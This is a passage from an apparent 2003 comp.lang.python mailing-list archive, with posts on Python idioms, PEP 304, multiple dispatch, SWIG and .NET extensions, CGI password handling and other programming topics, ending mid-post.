which, not") and _X qua X_ (with X being the same word both before and
after).  The former idiom means something absolutely essential or
indispensable; the latter means X in the explicit role of X.  Like
_cum_, it's one of those Latin words that you only see used in writing
where the writer is trying to sound extra clever :-).

That being said, I think the "Dutchisms" mentioned by the original
poster indicated that he meant the _Dutch_ meaning of _qua_ (and I don't
know _any_ Dutch), not the Latin (and thus English) meaning in the first
place.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The more violent the love, the more violent the anger.
\__/ _Burmese Proverbs_ (tr. Hla Pe)
    Sade Deluxe / http://www.sadedeluxe.com/
 The ultimate Sade encyclopedia.



From DLNXPEGFQVEB at spammotel.com  Thu Jan 23 11:31:37 2003
From: DLNXPEGFQVEB at spammotel.com (Christos TZOTZIOY Georgiou)
Date: Thu, 23 Jan 2003 18:31:37 +0200
Subject: Can anyone decode this Perl code, please?
References: <ba1e306f.0301211907.25fc9037@posting.google.com>
Message-ID: <s6603vkgl4pd2a9uvhn8m7oeot8o3ucfdg@4ax.com>

On 21 Jan 2003 19:07:33 -0800, rumours say that
janeaustine50 at hotmail.com (Jane Austine) might have written:

>I am reading Object-Oriented Reengineering Patterns. I really enjoy
>this book. On p.177, however, there is a perl code, which is all Greek
>to me. 

Well, it's even worse, since it all seems Perlish to me.  Believe me, I
know what I'm talking about :)
-- 
TZOTZIOY, I speak England very best,
Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64')



From mwh at python.net  Wed Jan 15 14:08:05 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 15 Jan 2003 19:08:05 GMT
Subject: fast way of turning a list of integers<256 into a string
References: <f57664b9.0301131444.26ca3b43@posting.google.com>
Message-ID: <7h3d6myp6x6.fsf@pc150.maths.bris.ac.uk>

jbperez808 at yahoo.com (Jonathan P.) writes:

> Is there a function to do the ff. instead:
> 
> x=range(1,255)
> list2str(x)
> 
> and have x become a string?

Bizarrely enough:

    http://www.python.org/doc/essays/list2str.html

A touch out of date now, but still broadly accurate.

Cheers,
M.

-- 
  surely, somewhere, somehow, in the history of computing, at least
  one manual has been written that you could at least remotely
  attempt to consider possibly glancing at.              -- Adam Rixey



From LogiplexSoftware at earthlink.net  Wed Jan 15 15:31:21 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 15 Jan 2003 12:31:21 -0800
Subject: Zinc designer
In-Reply-To: <b04f21$a31$1@bob.news.rcn.net>
References: <b04d1f$68b$1@bob.news.rcn.net>
	 <mailman.1042659871.24891.python-list@python.org>
	 <b04f21$a31$1@bob.news.rcn.net>
Message-ID: <1042662680.27820.118.camel@software1.logiplex.internal>

On Wed, 2003-01-15 at 13:53, morden wrote:
> Cliff Wells wrote:
> 
> > On Wed, 2003-01-15 at 13:19, morden wrote:
> >
> > >Did anyone modify Zinc designer to generate (and preferably read back)
> > >Python code instead of binary .dat files?
> >
> >
> > Isn't Zinc a proprietary product?  How would it be possible to modify
> > it?  Further, it's written in C++, not Python, so how is it related to
> > Python in any way?
> 
> There were sources back in versions 4.X and 5.0 dunno about the recent 
> version. Basically what I want is to throw away my dat file (it gets 
> corrupted once in a while and being binary there is no much use for 
> revision control), keep menus as Python code that is loaded/saved by 
> Zinc Designer.

Actually, given Windriver's target audience, it shouldn't surprise me
that source is available.  However, I'm not sure that Python would be a
good target for storing UI data.  It would seem like a lot of work to
accomplish what is basically structured data storage (and unless there
are Python bindings to the Zinc UI, I still don't see how Python figures
into it).  Sounds like a job for XML or a database.

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From dave at pythonapocrypha.com  Mon Jan 13 22:55:28 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Mon, 13 Jan 2003 19:55:28 -0800 (PST)
Subject: Finding Clock speed
In-Reply-To: <Xns9302CE55E6761jslmAAearthlinknet@130.133.1.4>
References: <Xns9302CE55E6761jslmAAearthlinknet@130.133.1.4>
Message-ID: <Pine.LNX.4.51.0301131951210.3339@ns0.tbye.com>

On Mon, 14 Jan 2003, Josh wrote:

> Is there any way at all to find the clock speed on a Windows box from a
> Python module?

On Win2k at least you can look in the registry:

HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz

Don't know about other versions of Windows though.

-Dave




From gustav at morpheus.demon.co.uk  Wed Jan 29 15:31:16 2003
From: gustav at morpheus.demon.co.uk (Paul Moore)
Date: Wed, 29 Jan 2003 20:31:16 +0000
Subject: PEP 304 - Controlling generation of bytecode files
References: <mailman.1043707550.22103.python-list@python.org> <8PmcnYSYyZgOm6ujXTWcqg@comcast.com>
 <15928.8849.345819.461301@montanaro.dyndns.org>
 <mailman.1043867517.32764.python-list@python.org>
Message-ID: <ptqf4s17.fsf@morpheus.demon.co.uk>

Oren Tirosh <oren-py-l at hishome.net> writes:

> On Wed, Jan 29, 2003 at 12:50:57PM -0600, Skip Montanaro wrote:
>> 
>>     Terry> 3. This proposal changes behavior globally but does not address
>>     Terry>    the issue of doing so on a per file basis.
>> 
>> That's not the intent of this PEP.  It's hard for me to think of a use case
>> for module-by-module control over where to write .pyc files.  Can you
>> suggest one?
>
> I don't know about module-by-module but would sure be useful on an
> importer-by-importer basis when this is combined with the import hooks 
> PEP. I guess this PEP needs to pay no special attention to this case
> except perhaps mentioning the obvious fact that bytecodepath only affects 
> the standard importer.

I think in the absence of any other statement, you *have* to assume it
only applies to the standard importer. It does need stating
explicitly, though.

I can't imagine many people, when writing a new importer, bothering
about supporting PYTHONBYTECODEPATH (if appropriate). The whole point
about the new hooks is to let people *not* have to reimplement
standard behaviour (that's what was wrong with overriding
__import__). So just adding a whole new set of requirements isn't
going to impress anyone...

[At the moment, I know of no proposed new import hook which will write
pyc files, so this is largely moot as things stand. Or not - where
will the bytecodepath fit in the search order, in the presence of
hooks? I think I can work it out, but does the PEP state clearly? I
haven't seen the latest revision...]

Paul
-- 
This signature intentionally left blank



From imbosol at vt.edu  Sat Jan  4 00:20:00 2003
From: imbosol at vt.edu (Carl Banks)
Date: Sat, 04 Jan 2003 05:20:00 GMT
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org>
Message-ID: <4auR9.4749$tQ6.2286@nwrddc02.gnilink.net>

David Mertz wrote:
> I've got to thinking about multimethods/multiple dispatch lately.  I
> wonder if Pythonistas have some futher opinions on the use of these.
> Actually, part of it is that I'd -really- like to better understand use
> cases for multiple dispatch.  As a trick, I can see it has a certain
> elegance, but little rock/paper/scissors toys are not, finally,
> compelling.


I originally conceived the idea of multiple dispatch on my own when
trying to program a video game.  (OO is a good paradigm for video
games because all the characters and blocks and goodies map well to
the concept of an object.)

I wanted an overloaded function that determined what would happen if
two objects collided.  Since the two objects could be any two objects,
it really didn't work with single dispatch.

About the best you could do is define an abstract method collide,
which the derived classes overrides to call a certain method of the
collidee, like this:

    class Bullet: public Object 
    {
        virtual void collide(Object* that) 
        {
            that->be_collided_with_bullet(this);
        }
    }

That was a lot of work, and caused an ugly imbalance.  Half the time,
the be_collided_with_* method simply reciprocated the call; for
example:

    class Human: public Object
    {
        virtual void be_collided_with_bullet(Bullet* that)
        {
            that->be_collided_with_human(this);
        }
    }

Also, I was disturbed by the fact that such calls bypassed data
abstraction, since Bullet and Human would have to be friends for them
to affect each other.  Those were the days when I thought data
abstraction was important.  Still, multiple dispatch could have held
my hand through my period of ignorance and allowed me to define a
single method that could access the private parts of Human and Bullet,
while keeping them well apart otherwise.


-- 
CARL BANKS



From hemanth_sethuram at yahoo.com  Wed Jan 29 01:07:55 2003
From: hemanth_sethuram at yahoo.com (Hemanth P.S.)
Date: 28 Jan 2003 22:07:55 -0800
Subject: Hacking Heaven - Leo+XEmacs Integrated
References: <93rZ9.51593$F63.1103117@news.xtra.co.nz> <mailman.1043790291.22980.python-list@python.org>
Message-ID: <9be5e130.0301282207.f617efe@posting.google.com>

I had the unenviable task of reverse engineering an MPEG2 decoder with
absolutely no comments whatsoever and a complicated mishmash of
if-else-if code structure, some if blocks nested upto 7 levels. I used
Leo's import feature and it cleanly created nodes at the file,
functions and structure definition level.
I then traversed the nodes and chunked blocks of code under sub-nodes
with meaningful names. I iterated over each sub-node many times and
repeated the steps until I had blocks of code of readable size. I
inserted comments into this code as I understood better and better of
the code.

The design of the code has not been changed yet and if I look at the
source code it is the same mess. But now if I view through Leo, I am
able to traverse the code at any desired abstraction level and
understand it.

Leo has definitely made me more productive than any other tool I have
used in my task. I was looking at this tool from the last 2 years but
could not understand how to use it in a real project. After reading
the Leo tutorial, I got a vague idea of how to use it and then started
using it 4 months back on the above project. I still don't know how to
make Leo use a different font for displaying code. I have to play
around with its configuration. I definitely would prefer if I can work
with vim key bindings in leo.

I suggest give it a try; you may like it.

--Hemanth

Jack Diederich <jack at performancedrivers.com> wrote in message news:<mailman.1043790291.22980.python-list at python.org>...
> On Tue, Jan 28, 2003 at 09:18:25PM +1300, Aum wrote:
> > Some months ago, the 'metastructural' editor 'Leo' (http://leo.sf.net) got 
> > covered on Slashdot. Seeing the power it offered to boost my productivity 
> > with code editing, I immediately downloaded it.
> > 
> 
> I looked at the leo site, and a bunch of Literate Programming sites
> and the intros all sucked.  hard.  Couldn't be more vague.
> Do you have a favorite one-pager intro?  I like the concept but it is very 
> ill-defined.  Even a couple paragraphs about how you use/how it changed your 
> cycle it would be nice.
> 
> Obviously it would be the view of a convert, but I'd like to hear about
> how it works in practice.  Unless a project has everyone using the same
> tool, is it hard to publish or hard to incorporate patches from people
> that aren't using it?
> 
> I'll-try-anything-that-makes-me-more-productive-ly,
> 
> -jackdied



From max at alcyone.com  Thu Jan 16 00:47:02 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 15 Jan 2003 21:47:02 -0800
Subject: Copyright on the Python and Python-console icons?
References: <mailman.1042691249.4564.python-list@python.org>
Message-ID: <3E264756.A24BC2D7@alcyone.com>

Tim Peters wrote:

> Which one?  The definition of public domain is conventional.

Yes, and explicitly waiving copyright (or having it expire) and
releasing works into the public domain is explicitly allowed for in
copyright law.

> The rest is
> from private communication with a Famous IP Lawyer during Python's
> licensing
> struggles, and I don't have permission to repeat that here.

Uh huh, convenient.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Physics, as we know it, will be over in six months.
\__/ Max Born (1928)
    CAGE / http://www.alcyone.com/pyos/cage/
 A cellular automaton simulation system in Python.



From imbosol at vt.edu  Mon Jan 27 16:53:09 2003
From: imbosol at vt.edu (Carl Banks)
Date: Mon, 27 Jan 2003 21:53:09 GMT
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <3E31568E.FD9C92B5@engcorp.com> <b0s6fq$95s5@eccws12.dearborn.ford.com> <p9EY9.499$qb1.122@nwrddc01.gnilink.net> <b13flq$c725@eccws12.dearborn.ford.com>
Message-ID: <9ThZ9.6174$uR.1492@nwrddc01.gnilink.net>

Michael Tiller wrote:
> 
> "Carl Banks" <imbosol at vt.edu> wrote in message
> news:p9EY9.499$qb1.122 at nwrddc01.gnilink.net...
>> Michael Tiller wrote:
>> > My thanks go out to those people who mentioned the "holder" idiom
> (rather
>> > than just throwing up their arms in ideological disgust at the idea of
>> > somebody even suggesting such a construct)
> 
>> Honestly, what do you expect, considering your original post?  When
>> you call the following code snippet "overly verbose":
>>
>>    match = re.match(...)
>>    if match:
>>        ...
> 
> What did I expect?  Was this code fragment and my contention that it was
> verbose so inflamatory to the Python community?!?  What did I expect?  I
> expected for people to do what some did which was to point out how this is
> typically done in Python (e.g. the idiom in the cookbook).  I expected that
> if people had a point to make about the functionality I needed being
> dangerous that they would at least press for more details about what I was
> doing so they could demonstrate how the code could be rewritten.

That might be a reasonable expectation.  But I hope you realize that,
from the reader's perspective, you did supply a reason why you wanted
to do this in one line: you said the above snippet seemed overly
verbose.  Can you expect someone to press you for details they think
you've already supplied?

I now know this "verbose" thing was not the main reason you wanted to
do this in one line.  But I couldn't have known that from your first
post.


> What I did
> not expect was for people to jump all over me for daring to suggest that
> such functionality would ever have corrupted the Python Way.  As someone who
> is relatively new to Python, I expected some assistance.  I didn't realize
> that such a suggestion counted as heresy in the Python community.

First of all, it's kind of naive to think people will never get
ideological.  Second, there is some merit to ideological thinking.
True, ideologists often get wrapped up in their ideas and lose touch
with reality.  The Python community puts high priority the idea of
Good Programming Practice, vague though it is, and we think our
language reinforces it.  When a newbie comes along asking how to do
something many consider Bad Programming, the Python community will
generally let him or her know.

Maybe the TCL community is an enclave of tabula rasa nuts that utterly
support every newbie no matter how stupid or petty his or her concerns
are, but that's not how Python is.


> In any case, I'd like to point out that I said it "*seemed* unnecessarily
> verbose".  The implication being that I thought that somebody more fluent in
> Python might be able to point out a way of accomplishing this in one
> statement (and somebody did).

Frankly, I don't see that implication.  When you said it "seemed
unnecessarily verbose," I took that to be the reason why you wanted to
do this in one line.


>> people are going to get ideological on you; rightly so.  You never
>> said why you wanted the assignment expression, and it turns out your
>> intended use was the only quasi-acceptable use for it.
> 
> So what you are saying is that even though I had a legitimate
> (quasi-acceptable) use for the functionality, it was still OK for people to
> start criticizing me for...asking the question?  I'm about ready to move
> back to comp.lang.tcl if this is the way people treat new users of Python
> around here.

We didn't know you had this quasi-acceptable use for the
functionality, and, based on your post, it seemed like you wanted it
just so you could be less verbose.  Sacrificing much readability to
save a couple keystrokes is the epitome of Bad Programming, and any
criticism of that was appropriate.

If you can't handle a little of it, even when you hadn't been specific
enough in the question, you should go back to c.l.tcl


>> If you had said "Python is incomplete because you can't do this
>> set-and-test idiom" instead of "Python is incomplete because it
>> doesn't allow assignment inside if," you would have gotten less
>> ideology.
> 
> What exactly are the quotes here?  You certainly are not quoting me.  I
> never said what you are apparently attributing to me.  I mentioned something
> that "seems a missing piece of functionality in Python".  I was no more
> specific than that.

It was obvious I was summarizing; I won't hear any complaints that I
misquoted you.  My basic point is, if you had just asked us how to do
set-and-test, or told us that was what you were trying to do, you
would have gotten better answers.

The Python newsgroup, by the way, encourages you to post details.
Holding back information is likely to diminish the quality of the
answers.



Let me say that, whether you believe me or not, that comp.lang.python
is generally very helpful and polite place to be.  Stay around for
awhile and you will see that.  You kind of hit a nerve.  But it's not
going to stop being what it is because some newbie got offended,
though.


-- 
CARL BANKS



From cgjunkaddr at attbi.com  Wed Jan 22 16:44:22 2003
From: cgjunkaddr at attbi.com (cgjunkaddr at attbi.com)
Date: 22 Jan 2003 13:44:22 -0800
Subject: Python extension for MANAGED C++ with VC.NET
References: <2GNW9.59636$hl1.6803@sccrnsc04> <mX4X9.11777$m47.37794@news-server.bigpond.net.au>
Message-ID: <17c2b558.0301221344.4914fc63@posting.google.com>

Mark

Thanks for your positive response. Attached is the extension module. The
code is not in any great shape, so I would be embarassed to release it at
this point. However, I can make a private distro for you if you are
interested.

>>> import anaconda
>>> a = anaconda.new("foofoo1", "PythonExtensionHelper.dll",
"PythonExtensionHelper.TestClass")
C:\Documents and Settings\cgadgil\My Documents\Visual Studio
Projects\testhello\
....
Test Class instantiated!
>>> a.demo("testMethod2", ["yo", "there", 2, ["x", "y"]])
testMethod2 yo there 2[]System.String[]

Explanation:
>>> import anaconda

-- Import the beast

>>> a = anaconda.new("foofoo1", "PythonExtensionHelper.dll",
"PythonExtensionHelper.TestClass")

-- create a new instance - internal instance name is "foofoo1" (need to
figure out a better way to handle this - but due to the way managed c++ does
things, i had to do this)
-- load the assembly "PythonExtensionHelper.dll" and instantiate class
"PythonExtensionHelper.TestClass"

>>> a.demo("testMethod2", ["yo", "there", 2, ["x", "y"]])

-- "demo" is the method invocation entry point. have to rename this
anyway, this invoked the "testMethod2" on the "a" object with the arguments
in the list.
(see the signature of the method below)

TestClass (C#) looks like this:

// DEMO CLASS
// NOT REALLY A HELPER - JUST STRIPPED REUSED THIS CLASS FROM SOME OLDER
CODE
using System;
namespace PythonExtensionHelper
{
/// <summary>
/// Summary description for Class1.
/// </summary>
public class TestClass
{
public TestClass()
{
//
// TODO: Add constructor logic here
//
Console.WriteLine("Test Class instantiated!");
}
public void testMethod()
{
Console.WriteLine("Test Method invoked!");
}
public void testMethod2(string x, string y, int z, string[] zz)
{
Console.WriteLine("testMethod2 " + x + " " + y + " " + z + "[]" + zz);
}
public void testMethod3(string[] pp)
{
Console.WriteLine(pp);
}
}
}


Current limitation is that "invoke" method in "MethodInfo" expects concrete
array type - it is not coerced at runtime like python. so if your ..NET
method has a type[] method, it is assumed to be "string[]"
Will fix this.

I have a managed class which holds a lookup of python instances. Whenever
someone in python calls a method on the extension type object, it is routed
to the .net instance.

Had to use the gcroot<> template to hold pinned references. I tried to store
python extension type objects in managed instances, but that caused some
weird errors.


As for being able to call python from .NET, I have some initial thoughts on
that too. We can use Reflection::Emit to create dynamic delegates on special
objects. And simulate inheritance etc by calling python code from the
managed types.
I think this is doable, but have not thought in detail about it...

Regards
Chetan

ps: Sorry for posting the library on the newsgroup, but the total is just
164 kB


"Mark Hammond" <mhammond at skippinet.com.au> wrote in message
news:mX4X9..11777$m47.37794 at news-server.bigpond.net.au...
> Chetan Gadgil wrote:
> > Hi
> >
> > Is anyone working on the above?
> > I had started work on a library I called PyCLR - a module using Mark
> > Hammond's win32all, but later discovered that Mark had already done
> > something similar for Python.NET, but was not too happy with the
results.
> >
> > I have started on VC.NET with managed c++ and have "managed" (no silly
pun
> > intended :)) to load an extension module into Python and call into
Managed
> > Code.
>
> This sounds cool.  How are you doing it?
>
> Another strategy would be a module similar to win32com, but using the
> .NET reflection API natively (you can use the COM interop layers now,
> but probably would get better results using .NET natively).  Then you
> would be able to load and run any .NET assembly, regardless of
> implementation language.
>
> Unfortunately, there is also interest in being able to use Python
> extension from .NET - ie, the other direction.
>
> But keep us posted on the results and where we can find the code!
>
> Mark.
>

LEARNING, n. The kind of ignorance distinguishing the studious.
  - Ambrose Bierce, The Devil's Dictionary



Mark Hammond <mhammond at skippinet.com.au> wrote in message news:<mX4X9.11777$m47.37794 at news-server.bigpond.net.au>...
> Chetan Gadgil wrote:
> > Hi
> > 
> > Is anyone working on the above?
> > I had started work on a library I called PyCLR - a module using Mark
> > Hammond's win32all, but later discovered that Mark had already done
> > something similar for Python.NET, but was not too happy with the results.
> > 
> > I have started on VC.NET with managed c++ and have "managed" (no silly pun
> > intended :)) to load an extension module into Python and call into Managed
> > Code.
> 
> This sounds cool.  How are you doing it?
> 
> Another strategy would be a module similar to win32com, but using the 
> .NET reflection API natively (you can use the COM interop layers now, 
> but probably would get better results using .NET natively).  Then you 
> would be able to load and run any .NET assembly, regardless of 
> implementation language.
> 
> Unfortunately, there is also interest in being able to use Python 
> extension from .NET - ie, the other direction.
> 
> But keep us posted on the results and where we can find the code!
> 
> Mark.



From peter at engcorp.com  Sun Jan 12 09:50:48 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 12 Jan 2003 09:50:48 -0500
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <mailman.1042257199.7572.python-list@python.org> <%0TT9.121156$Hs2.11453314@kent.svc.tds.net> <v208b839c0990d@news.supernews.com> <xJZT9.121193$Hs2.11495249@kent.svc.tds.net> <v210trgcq5gdf1@news.supernews.com> <Fb0U9.122581$Hs2.11514845@kent.svc.tds.net> <3E20A13D.539E934C@engcorp.com> <x7y95qswo2.fsf@guru.mired.org>
Message-ID: <3E2180C8.7A6CC05D@engcorp.com>

Mike Meyer wrote:
> 
> Peter Hansen <peter at engcorp.com> writes:
> 
> > The C compiler has no knowledge of the conditions that will exist
> > when the code runs.  Even if it did, its job is already done, while
> > the HotSpot compiler can run again, and again, tuning the
> > application as conditions change.
> 
> That's not strictly true. I've dealt with compilers that could examine
> the results of profiled runs of the code being compiled, and use that
> information in optimizing the resulting code. You could even rerun the
> profiled version on new data and recompile the code.

Thanks, I had never heard of such a thing.

It doesn't help in many cases, however, since conditions are often
dynamic, and doing profiling runs on your server and recompiling
it, stopping, upgrading, and restarting it just to improve its
performance under changing conditions is probably infeasible... ;-)

-Peter



From max at alcyone.com  Tue Jan 14 06:26:18 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 14 Jan 2003 03:26:18 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com> <7xbs2kt246.fsf@ruckus.brouhaha.com>
Message-ID: <3E23F3DA.EB485C59@alcyone.com>

Paul Rubin wrote:

> You should stop looking for kludgy workarounds and fix whatever is
> wrong with POST.  POST is the right way to deal with this type of
> thing.
> Otherwise the password appears not only in the browser but also in
> the server http log.

Ultimately the password is flying around the Internet in plaintext. 
This is simply not acceptable for many applications.  The proper,
complete solution is HTTP over SSL.

> Alternatively, instead of submitting a password to a cgi, use HTTP
> Basic authentication.  That lowers your UI flexibility a little bit,
> but makes the server side programming a little simpler.

HTTP authentication still has passwords flying around in plaintext,
however.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ You must surely know / If man made Heaven, then man made Hell
\__/ Level 42
    Polly Wanna Cracka? / http://www.pollywannacracka.com/
 The Internet resource for interracial relationships.



From LogiplexSoftware at earthlink.net  Wed Jan 15 14:48:10 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 15 Jan 2003 11:48:10 -0800
Subject: Zinc designer
In-Reply-To: <1042659806.27819.88.camel@software1.logiplex.internal>
References: <b04d1f$68b$1@bob.news.rcn.net>
	 <1042659806.27819.88.camel@software1.logiplex.internal>
Message-ID: <1042660090.27819.97.camel@software1.logiplex.internal>

On Wed, 2003-01-15 at 11:43, Cliff Wells wrote:
> On Wed, 2003-01-15 at 13:19, morden wrote:
> > Did anyone modify Zinc designer to generate (and preferably read back) 
> > Python code instead of binary .dat files?
> 
> Isn't Zinc a proprietary product?  How would it be possible to modify
> it?  Further, it's written in C++, not Python, so how is it related to
> Python in any way?

Or perhaps you're referring to the Zinc Toolkit (TkZinc) and *not* Zinc
Designer?

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From chris.gonnerman at newcenturycomputers.net  Sat Jan 18 10:43:55 2003
From: chris.gonnerman at newcenturycomputers.net (Chris Gonnerman)
Date: Sat, 18 Jan 2003 09:43:55 -0600
Subject: SWIG and Python help needed
Message-ID: <002301c2bf08$71823f00$ba01010a@local>

I'm working on a rewrite of the gdmodule code (which I now
maintain) using SWIG for the low-level module and Python
for the upper level... and I have hit a wall.

The GD library supports reading and writing most image formats
using a gdIOCtx structure.  It contains pointers to functions
for reading, writing, seeking, etc.  I'd like to be able to
use any Python object implementing the "file" interface with
gdmodule (rather than only the "traditional" FILE * -based 
internal file objects), and this I/O interface seems like the
way to go.

I can't figure out how to get there from here.  I have inspected
the .c file produced by SWIG, and created the following function:

static PyObject *gdXNewIOCtx(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    PyObject *arg0 ;
    XgdIOCtx *result ;

    if(!PyArg_ParseTuple(args,(char *)"O:gdXNewIOCtx",&arg0)) return NULL;

    result = (XgdIOCtx *)malloc(sizeof(XgdIOCtx));

    if(result == NULL)
        return NULL;

    result->py = arg0;
    result->io.getC = gdXgetC;
    result->io.getBuf = gdXgetBuf;
    result->io.putC = gdXputC;
    result->io.putBuf = gdXputBuf;
    result->io.seek = gdXseek;
    result->io.tell = gdXtell;
    result->io.gd_free = gdXgd_free;

    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_gdIOCtx);
    return resultobj;
}

This should create an object compatible with the standard
SWIG wrapper for the "gdIOCtx *" type.  The XgdIOCtx structure
is just this:

typedef struct {
    gdIOCtx io;
    PyObject *py;
} XgdIOCtx;

which I have defined in the .i file in the header section
(since I don't want SWIG to wrap it).  The functions inserted
into the io structure will handle calling back into Python,
using the python-object pointer "py".

How do I get this inserted into the method array?  Or am I
barking up the wrong tree?

Any help would be appreciated.

Chris Gonnerman -- chris.gonnerman at newcenturycomputers.net
http://newcenturycomputers.net





From zope at thewebsons.com  Sat Jan 11 15:14:38 2003
From: zope at thewebsons.com (beno)
Date: Sat, 11 Jan 2003 16:14:38 -0400
Subject: Stackless Python, Tail Recursion and Functional 
  Programming
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEEAFDIAB.tim.one@comcast.net>
References: <5.1.0.14.0.20030111054355.00b3d898@mail.thewebsons.com>
Message-ID: <5.1.0.14.0.20030111161420.021aca28@mail.thewebsons.com>

At 11:33 AM 1/11/2003 -0500, you wrote:
>[beno]
> > So..my question du jour...
> >
> > ***
> > Does stackless python optimize tail recursion?
> > ***
>
>It does not.

Darn. The truth hurts ;)
Thanks,
beno






From davegaramond at icqmail.com  Wed Jan 22 20:23:13 2003
From: davegaramond at icqmail.com (David Garamond)
Date: Wed, 22 Jan 2003 18:23:13 -0700
Subject: a single class supporting multiple facets/interfaces
References: <3E2BEFAC.2060101@icqmail.com> <20030120224714.GA28746@meson.dyndns.org> <3E2E4D66.7040104@icqmail.com> <20030122175057.GA7130@meson.dyndns.org>
Message-ID: <3E2F4401.1010201@icqmail.com>

Jp Calderone wrote:
>   I'm wondering if you want to do this for some kind of versioning scheme,
> where objects might be upgraded over time (and so present different
> implementations or interfaces)?  If so, another part of Twisted might be
> useful, twisted.python.styles.Versioned.

you hit the nail on the head :-) i'll look into 
twisted.python.styles.Versioned. thanks!

-- 
dave





From max at alcyone.com  Sun Jan  5 02:17:29 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 04 Jan 2003 23:17:29 -0800
Subject: php vs python
References: <mailman.1041625688.13638.python-list@python.org> <3e16006e$0$230$edfadb0f@dread12.news.tele.dk> <3e160151$0$49101$e4fe514c@news.xs4all.nl> <3E1621F2.C9FA1D6F@engcorp.com> <ba0f1v0hrn572t8tnntkrcfju4e6fkcgob@4ax.com> <av82af$6eu$1@knot.queensu.ca> <20030104212105.22506d99.pythonhda@yahoo.com.replacepythonwithlinux> <9glf1v49v9920fh2ei8tlhqhrkf45j06ol@4ax.com>
Message-ID: <3E17DC09.18A3C0C1@alcyone.com>

Afanasiy wrote:

> On Sat, 4 Jan 2003 21:21:05 -0500, pythonhda
> <pythonhda at yahoo.com.replacepythonwithlinux> wrote:
> 
> >for key in d:
> >       print key, '=', d[key]
> 
> Someone please verify this example is incorrect.
> Putting the value in a variable named 'key' still
> makes it a value, not a key... Right?

In versions of Python that support it, one can iterate over dictionaries
where `for x in D' (where D is a dictionary) is equivalent to `for x in
D.keys()'.  Older version of Python do not support them.

> Wouldn't this code result in a no-index error on d[key] ?

In that code, on each iteration through the loop, key is the key; d[key]
is the value associated with that key in the dictionary d.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ We'll have to make our own luck from now on.
\__/ Louis Wu
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From skip at pobox.com  Thu Jan  9 16:45:26 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 9 Jan 2003 15:45:26 -0600
Subject: sorted unique elements from a list; using 2.3 features
In-Reply-To: <13a533e8.0301091334.662637cd@posting.google.com>
References: <mailman.1041832210.3104.python-list@python.org>
        <avbltt$kb4$1@slb0.atl.mindspring.net>
        <13a533e8.0301091334.662637cd@posting.google.com>
Message-ID: <15901.60790.706643.77251@montanaro.dyndns.org>

    >>> input=[5, 3, 1, 2, 5, 4, 3, 4, 1, 1, 5, 4, 5, 1, 4, 3, 2, 2, 4, 1]
    >>> output=dict( zip(input ,range(len(input)) ) ).keys()
    >>> output
    [1, 2, 3, 4, 5]

    Peter> I always got a sorted output.

You just got lucky.  Perturb your input list a tad:

    >>> input=[5, -1, 1, 2, 5, 4, 3, 4, 1, 1, 5, 4, 5, 1, 4, 3, 2, 2, 4, 1]
    >>> output=dict( zip(input ,range(len(input)) ) ).keys()
    >>> output
    [1, 2, 3, 4, 5, -1]

Skip




From bokr at oz.net  Wed Jan 15 17:25:31 2003
From: bokr at oz.net (Bengt Richter)
Date: 15 Jan 2003 22:25:31 GMT
Subject: syntax for preset locals without using dummy args with defaults
References: <mailman.1042617748.21494.python-list@python.org>
Message-ID: <b04n4r$ued$0@216.39.172.122>

On Wed, 15 Jan 2003 10:00:56 +0200 (IST), Beni Cherniavsky <cben at techunix.technion.ac.il> wrote:

>On 2003-01-14, Andrew McGregor wrote:
>
>> How about:
>>
>> with:
>>   z = some_expression
>>   z1 = some_other_expression
>>   # for consistency, should allow this too.
>>   def quux(bar):
>>       do_something()
>> do:
>>   def foo(x, y=default):
>>       do_stuff()
>>
>Yes, this is probably optimal (or very close) if we want it at all.
>
I have a couple of reservations: 1) I think already the distinction between
what I have been calling "def-time" and "call-time" is often missed (i.e.,
def ... defines executable code that builds the executable function whose
code later gets executed when it is called, and thus there are two distinct
execution times and codes involved), and the above doesn't make it plain
unless you already know.

The keywords "with" and "do" in the above don't strongly suggest what is
supposed to happen IMO, especially since "with" carries a Pascal meaning.

Also, what is the scope and environment of the "do"? I.e., what would
other statements in the do: suite mean if they appeared before or after
the def?

It is crucial to the semantics that it be understood that the expressions in
the suite of the "with" are only executed once, yet the bindings are copied
each time the function is called, to preset the local bindings afresh.
IOW, the effect is something[1] like:

    def _presets():
        z = some_expression
        z1 = some_other_expression
        # for consistency, should allow this too.
        def quux(bar):
            do_something()
        return vars() # capture and return the bindings of interst
    _presets = _presets() # (the function gets one-time use)

    def foo(x, y=default):
